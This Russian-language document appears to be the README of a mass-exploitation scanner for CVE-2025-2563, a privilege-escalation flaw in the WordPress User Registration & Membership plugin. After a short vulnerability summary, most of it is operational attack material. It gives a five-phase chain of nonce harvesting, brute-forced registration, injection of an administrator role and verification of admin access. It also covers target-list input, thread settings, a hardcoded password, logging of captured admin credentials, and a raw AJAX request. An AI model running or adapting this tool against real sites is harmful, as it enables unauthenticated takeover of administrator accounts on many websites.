
Плагин User Registration & Membership для WordPress версии ниже 4.1.2 не препятствует пользователям устанавливать свою роль в учётной записи, когда включён аддон Membership, что приводит к проблеме повышения привилегий и позволяет неаутентифицированным пользователям получить права администратора.
Плагин User Registration & Membership для WordPress до версии 4.1.2 не предотвращает установку пользователями своей роли учетной записи, когда включен аддон Membership, что приводит к повышению привилегий и позволяет неаутентифицированным пользователям получить права администратора.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2025-2563 |
| Серьезность | HIGH — CVSS v3.1 Score: 8.1 |
| Вектор | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Затронутое ПО | Плагин User Registration & Membership для WordPress |
| Затронутые версии | Все версии до 4.1.2 |
| Тип уязвимости | Некорректное управление привилегиями — создание учетной записи администратора без аутентификации |
| Требуется аутентификация | Нет |
| CWE | CWE-269: Некорректное управление привилегиями |
Описание:
Плагин User Registration & Membership для WordPress версий до 4.1.2 не обеспечивает проверку ограничений ролей на стороне сервера, когда включен аддон Membership. В процессе регистрации членства плагин принимает поле role, предоставленное пользователем, в AJAX-действии user_registration_membership_register_member без проверки на соответствие серверному белому списку. Полностью неаутентифицированный удаленный атакующий может отправить подстроенную двухшаговую цепочку AJAX — сначала зарегистрировать новую учетную запись пользователя через user_registration_user_form_submit, затем внедрить "role": "administrator" в полезную нагрузку members_data при вызове членства — чтобы незаметно создать полностью привилегированную учетную запись Администратора WordPress. Это приводит к полной компрометации сайта без необходимости в аутентификации или взаимодействии с пользователем.
Это сканер массовой эксплуатации Proof-of-Concept (PoC), нацеленный на установки WordPress, на которых работает уязвимая версия плагина User Registration & Membership с активным аддоном Membership. Инструмент выполняет интеллектуальную многоэтапную эксплуатацию с автоматическим обнаружением, сбором одноразовых токенов (nonce), регистрацией с перебором комбинаций, внедрением роли и проверкой прав администратора.
[Фаза 1 — Обнаружение]
GET /membership-pricing/ → Извлечение membership_id, ссылок на тарифы
GET /membership-registration/ → Извлечение form_id, nonce, токенов безопасности
GET /registration/ → Запасная страница регистрации
↓
[Фаза 2 — Извлечение nonce]
Разбор: ur_membership_frontend_localized_data._nonce
Разбор: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Фаза 3 — Регистрация (комбинированная атака)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<токен> | ur_frontend_form_nonce=<nonce>
→ Перебор всех допустимых комбинаций до success=true
↓
[Фаза 4 — Внедрение роли (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Сервер назначает созданному пользователю роль администратора
↓
[Фаза 5 — Проверка администратора]
POST /wp-login.php → Вход с новыми учетными данными
GET /wp-admin/ → Проверка adminmenu / wp-admin-bar
GET /wp-admin/users.php → Подтверждение доступа manage_options
GET /wp-admin/plugin-install.php → Подтверждение доступа plugin-install
↓
[Сохранение в Nx_admin.txt]
Формат: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Или через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Клонировать репозиторий
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Установить зависимости
pip install -r requirements.txt
# Запустить инструмент
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
Инструмент использует полностью интерактивный терминальный интерфейс на основе Rich.
Создайте текстовый файл (по умолчанию: list.txt) — одна цель на строку:
https://target1.com
https://target2.com
http://target3.com
target4.com
Цели без
http://илиhttps://автоматически дополняются префиксомhttps://.
Файл целей [list.txt]: list.txt
Количество потоков [3]: 5
Таймаут HTTP (сек) [10]: 10
Макс. попыток регистрации на цель [20]: 20
Пароль зафиксирован внутри как
Nx_adminSAдля всех попыток регистрации.
Инструмент автоматически проверяет три страницы для каждой цели:
| Страница | Назначение |
|---|---|
/membership-pricing/ | Извлечение membership_id и ссылок на регистрацию |
/membership-registration/ | Извлечение токенов формы, nonce и идентификаторов полей |
/membership-registration/?membership_id=<id> | Извлечение данных формы для конкретного тарифа |
/registration/ | Запасная общая страница регистрации |
Следующие токены извлекаются из исходного HTML и встроенного JavaScript:
| Токен | Источник |
|---|---|
_nonce | Объект JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Скрытое поле ввода или объект JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Скрытое поле ur-user-form-id или объект JS |
membership_id | Радио-поле urm_membership или строка запроса URL |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>